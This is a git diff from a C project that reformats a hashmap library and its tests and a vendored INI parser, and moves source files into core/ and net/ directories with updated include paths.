k1 ^= tail[1] << 8;
case 1:
k1 ^= tail[0] << 0;
k1 *= c1;
k1 = ROTL32(k1, 15);
k1 *= c2;
h1 ^= k1;
};
h1 ^= len; h2 ^= len; h3 ^= len; h4 ^= len;
h1 += h2; h1 += h3; h1 += h4;
h2 += h1; h3 += h1; h4 += h1;
FMIX32(h1); FMIX32(h2); FMIX32(h3); FMIX32(h4);
h1 += h2; h1 += h3; h1 += h4;
h2 += h1; h3 += h1; h4 += h1;
h1 ^= len;
h2 ^= len;
h3 ^= len;
h4 ^= len;
h1 += h2;
h1 += h3;
h1 += h4;
h2 += h1;
h3 += h1;
h4 += h1;
FMIX32(h1);
FMIX32(h2);
FMIX32(h3);
FMIX32(h4);
h1 += h2;
h1 += h3;
h1 += h4;
h2 += h1;
h3 += h1;
h4 += h1;
((uint32_t *)out)[0] = h1;
((uint32_t *)out)[1] = h2;
((uint32_t *)out)[2] = h3;
@ -597,15 +680,13 @@ static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
}
// hashmap_sip returns a hash value for `data` using SipHash-2-4.
uint64_t hashmap_sip(const void *data, size_t len,
uint64_t seed0, uint64_t seed1)
uint64_t hashmap_sip(const void *data, size_t len, uint64_t seed0, uint64_t seed1)
{
return SIP64((uint8_t *)data, len, seed0, seed1);
}
// hashmap_murmur returns a hash value for `data` using Murmur3_86_128.
uint64_t hashmap_murmur(const void *data, size_t len,
uint64_t seed0, uint64_t seed1)
uint64_t hashmap_murmur(const void *data, size_t len, uint64_t seed0, uint64_t seed1)
{
char out[16];
MM86128(data, len, seed0, &out);
@ -619,7 +700,8 @@ uint64_t hashmap_murmur(const void *data, size_t len,
//==============================================================================
#ifdef HASHMAP_TEST
static size_t deepcount(struct hashmap *map) {
static size_t deepcount(struct hashmap *map)
{
size_t count = 0;
for (size_t i = 0; i < map->nbuckets; i++) {
if (bucket_at(map, i)->dib) {
@ -629,23 +711,23 @@ static size_t deepcount(struct hashmap *map) {
return count;
}
# pragma GCC diagnostic ignored "-Wextra"
# include "core/hashmap.h"
# include <assert.h>
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <time.h>
#include <assert.h>
#include <stdio.h>
#include "hashmap.h"
static bool rand_alloc_fail = false;
static int rand_alloc_fail_odds = 3; // 1 in 3 chance malloc will fail.
static uintptr_t total_allocs = 0;
static uintptr_t total_mem = 0;
static void *xmalloc(size_t size) {
static void *xmalloc(size_t size)
{
if (rand_alloc_fail && rand() % rand_alloc_fail_odds == 0) {
return NULL;
}
@ -657,7 +739,8 @@ static void *xmalloc(size_t size) {
return (char *)mem + sizeof(uintptr_t);
}
static void xfree(void *ptr) {
static void xfree(void *ptr)
{
if (ptr) {
total_mem -= *(uintptr_t *)((char *)ptr - sizeof(uintptr_t));
free((char *)ptr - sizeof(uintptr_t));
@ -665,7 +748,8 @@ static void xfree(void *ptr) {
}
}
static void shuffle(void *array, size_t numels, size_t elsize) {
static void shuffle(void *array, size_t numels, size_t elsize)
{
char tmp[elsize];
char *arr = array;
for (size_t i = 0; i < numels - 1; i++) {
@ -676,37 +760,45 @@ static void shuffle(void *array, size_t numels, size_t elsize) {
}
}
static bool iter_ints(const void *item, void *udata) {
static bool iter_ints(const void *item, void *udata)
{
int *vals = *(int **)udata;
vals[*(int *)item] = 1;
return true;
}
static int compare_ints(const void *a, const void *b) {
static int compare_ints(const void *a, const void *b)
{
return *(int *)a - *(int *)b;
}
static int compare_ints_udata(const void *a, const void *b, void *udata) {
static int compare_ints_udata(const void *a, const void *b, void *udata)
{
return *(int *)a - *(int *)b;
}
static int compare_strs(const void *a, const void *b, void *udata) {
static int compare_strs(const void *a, const void *b, void *udata)
{
return strcmp(*(char **)a, *(char **)b);
}
static uint64_t hash_int(const void *item, uint64_t seed0, uint64_t seed1) {
static uint64_t hash_int(const void *item, uint64_t seed0, uint64_t seed1)
{
return hashmap_murmur(item, sizeof(int), seed0, seed1);
}
static uint64_t hash_str(const void *item, uint64_t seed0, uint64_t seed1) {
static uint64_t hash_str(const void *item, uint64_t seed0, uint64_t seed1)
{
return hashmap_murmur(*(char **)item, strlen(*(char **)item), seed0, seed1);
}
static void free_str(void *item) {
static void free_str(void *item)
{
xfree(*(char **)item);
}
static void all() {
static void all()
{
int seed = getenv("SEED") ? atoi(getenv("SEED")) : time(NULL);
int N = getenv("N") ? atoi(getenv("N")) : 2000;
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
@ -719,15 +811,17 @@ static void all() {
assert(hashmap_murmur("hello", 5, 1, 2) == 1682575153221130884);
int *vals;
while (!(vals = xmalloc(N * sizeof(int)))) {}
while (!(vals = xmalloc(N * sizeof(int)))) {
}
for (int i = 0; i < N; i++) {
vals[i] = i;
}
struct hashmap *map;
while (!(map = hashmap_new(sizeof(int), 0, seed, seed,
hash_int, compare_ints_udata, NULL, NULL))) {}
while (!(
map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata, NULL, NULL))) {
}
shuffle(vals, N, sizeof(int));
for (int i = 0; i < N; i++) {
// // printf("== %d ==\n", vals[i]);
@ -772,7 +866,8 @@ static void all() {
}
int *vals2;
while (!(vals2 = xmalloc(N * sizeof(int)))) {}
while (!(vals2 = xmalloc(N * sizeof(int)))) {
}
memset(vals2, 0, N * sizeof(int));
assert(hashmap_scan(map, iter_ints, &vals2));
@ -817,7 +912,6 @@ static void all() {
assert(prev_cap < map->cap);
assert(map->count == 0);
for (int i = 0; i < N; i++) {
while (true) {
assert(!hashmap_set(map, &vals[i]));
@ -835,15 +929,17 @@ static void all() {
xfree(vals);
while (!(map = hashmap_new(sizeof(char*), 0, seed, seed,
hash_str, compare_strs, free_str, NULL)));
while (
!(map = hashmap_new(sizeof(char *), 0, seed, seed, hash_str, compare_strs, free_str, NULL)))
;
for (int i = 0; i < N; i++) {
char *str;
while (!(str = xmalloc(16)));
while (!(str = xmalloc(16)))
;
sprintf(str, "s%i", i);
while(!hashmap_set(map, &str));
while (!hashmap_set(map, &str))
;
}
hashmap_clear(map, false);
@ -851,9 +947,11 @@ static void all() {
for (int i = 0; i < N; i++) {
char *str;
while (!(str = xmalloc(16)));
while (!(str = xmalloc(16)))
;
sprintf(str, "s%i", i);
while(!hashmap_set(map, &str));
while (!hashmap_set(map, &str))
;
}
hashmap_free(map);
@ -864,7 +962,9 @@ static void all() {
}
}
#define bench(name, N, code) {{ \
# define bench(name, N, code) \
{ \
{ \
if (strlen(name) > 0) { \
printf("%-14s ", name); \
} \
@ -878,11 +978,8 @@ static void all() {
clock_t end = clock(); \
double elapsed_secs = (double)(end - begin) / CLOCKS_PER_SEC; \
double bytes_sec = (double)bytes / elapsed_secs; \
printf("%d ops in %.3f secs, %.0f ns/op, %.0f op/sec", \
N, elapsed_secs, \
elapsed_secs/(double)N*1e9, \
(double)N/elapsed_secs \
); \
printf("%d ops in %.3f secs, %.0f ns/op, %.0f op/sec", N, elapsed_secs, \
elapsed_secs / (double)N * 1e9, (double)N / elapsed_secs); \
if (bytes > 0) { \
printf(", %.1f GB/sec", bytes_sec / 1024 / 1024 / 1024); \
} \
@ -895,15 +992,16 @@ static void all() {
printf(", %.2f allocs/op", (double)used_allocs / N); \
} \
printf("\n"); \
}}
} \
}
static void benchmarks() {
static void benchmarks()
{
int seed = getenv("SEED") ? atoi(getenv("SEED")) : time(NULL);
int N = getenv("N") ? atoi(getenv("N")) : 5000000;
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
srand(seed);
int *vals = xmalloc(N * sizeof(int));
for (int i = 0; i < N; i++) {
vals[i] = i;
@ -914,44 +1012,37 @@ static void benchmarks() {
struct hashmap *map;
shuffle(vals, N, sizeof(int));
map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata,
NULL, NULL);
map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata, NULL, NULL);
bench("set", N, {
int *v = hashmap_set(map, &vals[i]);
assert(!v);
})
shuffle(vals, N, sizeof(int));
}) shuffle(vals, N, sizeof(int));
bench("get", N, {
int *v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]);
})
shuffle(vals, N, sizeof(int));
}) shuffle(vals, N, sizeof(int));
bench("delete", N, {
int *v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]);
})
hashmap_free(map);
}) hashmap_free(map);
map = hashmap_new(sizeof(int), N, seed, seed, hash_int, compare_ints_udata,
NULL, NULL);
map = hashmap_new(sizeof(int), N, seed, seed, hash_int, compare_ints_udata, NULL, NULL);
bench("set (cap)", N, {
int *v = hashmap_set(map, &vals[i]);
assert(!v);
})
shuffle(vals, N, sizeof(int));
}) shuffle(vals, N, sizeof(int));
bench("get (cap)", N, {
int *v = hashmap_get(map, &vals[i]);
assert(v && *v == vals[i]);
})
shuffle(vals, N, sizeof(int));
bench("delete (cap)" , N, {
}) shuffle(vals, N, sizeof(int));
bench("delete (cap)", N,
{
int *v = hashmap_delete(map, &vals[i]);
assert(v && *v == vals[i]);
})
hashmap_free(map);
xfree(vals);
if (total_allocs != 0) {
@ -960,7 +1051,8 @@ static void benchmarks() {
}
}
int main() {
int main()
{
hashmap_set_allocator(xmalloc, xfree);
if (getenv("BENCH")) {
@ -973,8 +1065,4 @@ int main() {
}
}
#endif

35
lib/vendor/ini.c → lib/src/core/ini.c
View File

@ -15,11 +15,11 @@ https://github.com/benhoyt/inih
# define _CRT_SECURE_NO_WARNINGS
#endif
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include "core/ini.h"
#include "ini.h"
#include <ctype.h>
#include <stdio.h>
#include <string.h>
#if !INI_USE_STACK
# if INI_CUSTOM_ALLOCATOR
@ -39,7 +39,8 @@ void* ini_realloc(void* ptr, size_t size);
#define MAX_NAME 50
/* Used by ini_parse_string() to keep track of string parsing state. */
typedef struct {
typedef struct
{
const char *ptr;
size_t num_left;
} ini_parse_string_ctx;
@ -94,8 +95,7 @@ static char* strncpy0(char* dest, const char* src, size_t size)
}
/* See documentation in header file. */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
void* user)
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user)
{
/* Uses a fair bit of stack (use heap instead if you need to) */
#if INI_USE_STACK
@ -158,8 +158,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
start = line;
#if INI_ALLOW_BOM
if (lineno == 1 && (unsigned char)start[0] == 0xEF &&
(unsigned char)start[1] == 0xBB &&
if (lineno == 1 && (unsigned char)start[0] == 0xEF && (unsigned char)start[1] == 0xBB &&
(unsigned char)start[2] == 0xBF) {
start += 3;
}
@ -188,13 +187,11 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
if (!HANDLER(user, section, NULL, NULL) && !error)
error = lineno;
#endif
}
else if (!error) {
} else if (!error) {
/* No ']' found on section line */
error = lineno;
}
}
else if (*start) {
} else if (*start) {
/* Not a comment, must be a name[=:]value pair */
end = find_chars_or_comment(start, "=:");
if (*end == '=' || *end == ':') {
@ -213,8 +210,7 @@ int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
strncpy0(prev_name, name, sizeof(prev_name));
if (!HANDLER(user, section, name, value) && !error)
error = lineno;
}
else if (!error) {
} else if (!error) {
/* No '=' or ':' found on name[=:]value line */
#if INI_ALLOW_NO_VALUE
*end = '\0';
@ -262,7 +258,8 @@ int ini_parse(const char* filename, ini_handler handler, void* user)
/* An ini_reader function to read the next line from a string buffer. This
is the fgets() equivalent used by ini_parse_string(). */
static char* ini_reader_string(char* str, int num, void* stream) {
static char *ini_reader_string(char *str, int num, void *stream)
{
ini_parse_string_ctx *ctx = (ini_parse_string_ctx *)stream;
const char *ctx_ptr = ctx->ptr;
size_t ctx_num_left = ctx->num_left;
@ -288,11 +285,11 @@ static char* ini_reader_string(char* str, int num, void* stream) {
}
/* See documentation in header file. */
int ini_parse_string(const char* string, ini_handler handler, void* user) {
int ini_parse_string(const char *string, ini_handler handler, void *user)
{
ini_parse_string_ctx ctx;
ctx.ptr = string;
ctx.num_left = strlen(string);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler,
user);
return ini_parse_stream((ini_reader)ini_reader_string, &ctx, handler, user);
}

4
lib/src/core/lerror.c Normal file
View File

@ -0,0 +1,4 @@
#include "core/lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

4
lib/src/lmem.c → lib/src/core/lmem.c
View File

@ -1,6 +1,6 @@
#include "lmem.h"
#include "core/lmem.h"
#include "lerror.h"
#include "core/lerror.h"
void *laikaM_realloc(void *buf, size_t sz)
{

2
lib/src/lsodium.c → lib/src/core/lsodium.c
View File

@ -1,4 +1,4 @@
#include "lsodium.h"
#include "core/lsodium.h"
#include <string.h>

4
lib/src/ltask.c → lib/src/core/ltask.c
View File

@ -1,6 +1,6 @@
#include "ltask.h"
#include "core/ltask.h"
#include "lmem.h"
#include "core/lmem.h"
/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get
the current time in ms also side note: microsoft? more like micropenis */

1
lib/src/core/lvm.c Normal file
View File

@ -0,0 +1 @@
#include "core/lvm.h"

4
lib/src/lerror.c
View File

@ -1,4 +0,0 @@
#include "lerror.h"
jmp_buf eLaika_errStack[LAIKA_MAXERRORS];
int eLaika_errIndx = -1;

1
lib/src/lvm.c
View File

@ -1 +0,0 @@
#include "lvm.h"

2
lib/src/lpacket.c → lib/src/net/lpacket.c
View File

@ -1,4 +1,4 @@
#include "lpacket.h"
#include "net/lpacket.h"
#ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID id)

6
lib/src/lpeer.c → lib/src/net/lpeer.c
View File

@ -1,7 +1,7 @@
#include "lpeer.h"
#include "net/lpeer.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
struct sLaika_pollList *pList, pollFailEvent onPollFail,

6
lib/src/lpolllist.c → lib/src/net/lpolllist.c
View File

@ -1,7 +1,7 @@
#include "lpolllist.h"
#include "net/lpolllist.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
/* ===================================[[ Helper Functions ]]==================================== */

12
lib/src/lsocket.c → lib/src/net/lsocket.c
View File

@ -1,10 +1,10 @@
#include "lsocket.h"
#include "net/lsocket.h"
#include "lerror.h"
#include "lmem.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsodium.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
static int _LNSetup = 0;

10
shell/include/sclient.h
View File

@ -1,11 +1,11 @@
#ifndef SHELLCLIENT_H
#define SHELLCLIENT_H
#include "hashmap.h"
#include "lmem.h"
#include "lpeer.h"
#include "lsodium.h"
#include "ltask.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "net/lpeer.h"
#include "speer.h"
typedef struct sShell_client

4
shell/include/speer.h
View File

@ -1,8 +1,8 @@
#ifndef SHELLPEER_H
#define SHELLPEER_H
#include "lpeer.h"
#include "lsodium.h"
#include "core/lsodium.h"
#include "net/lpeer.h"
typedef struct sShell_peer
{

2
shell/src/main.c
View File

@ -1,4 +1,4 @@
#include "ini.h"
#include "core/ini.h"
#include "sclient.h"
#include "sterm.h"

8
shell/src/sclient.c
View File

@ -1,9 +1,9 @@
#include "sclient.h"
#include "lerror.h"
#include "lmem.h"
#include "lpacket.h"
#include "lsodium.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "net/lpacket.h"
#include "sterm.h"
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,

4
shell/src/scmd.c
View File

@ -1,7 +1,7 @@
#include "scmd.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "sclient.h"
#include "speer.h"
#include "sterm.h"

4
shell/src/speer.c
View File

@ -1,7 +1,7 @@
#include "speer.h"
#include "lmem.h"
#include "lpacket.h"
#include "core/lmem.h"
#include "net/lpacket.h"
#include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname,

2
shell/src/sterm.c
View File

@ -1,6 +1,6 @@
#include "sterm.h"
#include "lmem.h"
#include "core/lmem.h"
#include "scmd.h"
#define KEY_ESCAPE 0x001b

4
tools/genkey/src/main.c
View File

@ -1,5 +1,5 @@
#include "lerror.h"
#include "lsodium.h"
#include "core/lerror.h"
#include "core/lsodium.h"
#include <stdio.h>
#include <string.h>

4
tools/vmtest/src/main.c
View File

@ -1,5 +1,5 @@
#include "lbox.h"
#include "lvm.h"
#include "core/lbox.h"
#include "core/lvm.h"
#include <stdio.h>
#include <string.h>